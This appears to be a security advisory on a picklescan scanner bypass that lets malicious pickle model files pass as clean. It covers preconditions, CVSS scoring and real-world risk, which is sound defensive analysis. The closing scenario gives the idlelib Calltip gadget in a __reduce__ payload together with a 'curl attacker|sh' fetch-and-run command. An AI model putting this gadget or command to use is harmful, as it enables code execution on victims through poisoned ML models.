picklescan CVE-2025-71361

Requires that the target both (1) use picklescan at version <0.0.29 as a pre-deserialization safety check and (2) subsequently deserialize the attacker-supplied pickle file with pickle.load() (or torch.load() / joblib.load() backed by pickle). The attacker must deliver a crafted pickle/model artifact that the victim chooses to scan and load - there is no remote-listener exposure. Exploitation succeeds against default picklescan configurations (no special flags required) on any Python installation where idlelib is available, which is the standard CPython distribution; environments that load pickles without picklescan, or that use safetensors, are not in scope for this specific bypass.

The provided CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N) accurately reflects the attack model: delivery is network-borne via a malicious model file, but exploitation requires the victim to (a) actively choose to scan with picklescan and (b) then load the file with pickle.load - hence UI:P and the Attack Requirement (AT:P) of a specific deserialization workflow. EPSS data was not provided and the CVE is not listed in CISA KEV, so there is no signal of in-the-wild exploitation; however, a working PoC is published in the GHSA advisory, which materially lowers the barrier for opportunistic abuse in the ML supply chain. Net real-world risk is moderate-to-high for organizations that treat picklescan as a security gate for third-party models - the tool's clean verdict gives a false sense of safety, which is the most dangerous failure mode.

An attacker publishes a backdoored PyTorch model on a public hub whose pickle stream contains a __reduce__ returning (Calltip().fetch_tip, ("__import__('os').system('curl attacker|sh')",)). A victim ML engineer or CI pipeline runs picklescan (≤0.0.28), receives a clean verdict, and then calls torch.load()/pickle.load(), at which point the embedded command executes with the user's privileges. A complete PoC is already published in the GHSA advisory.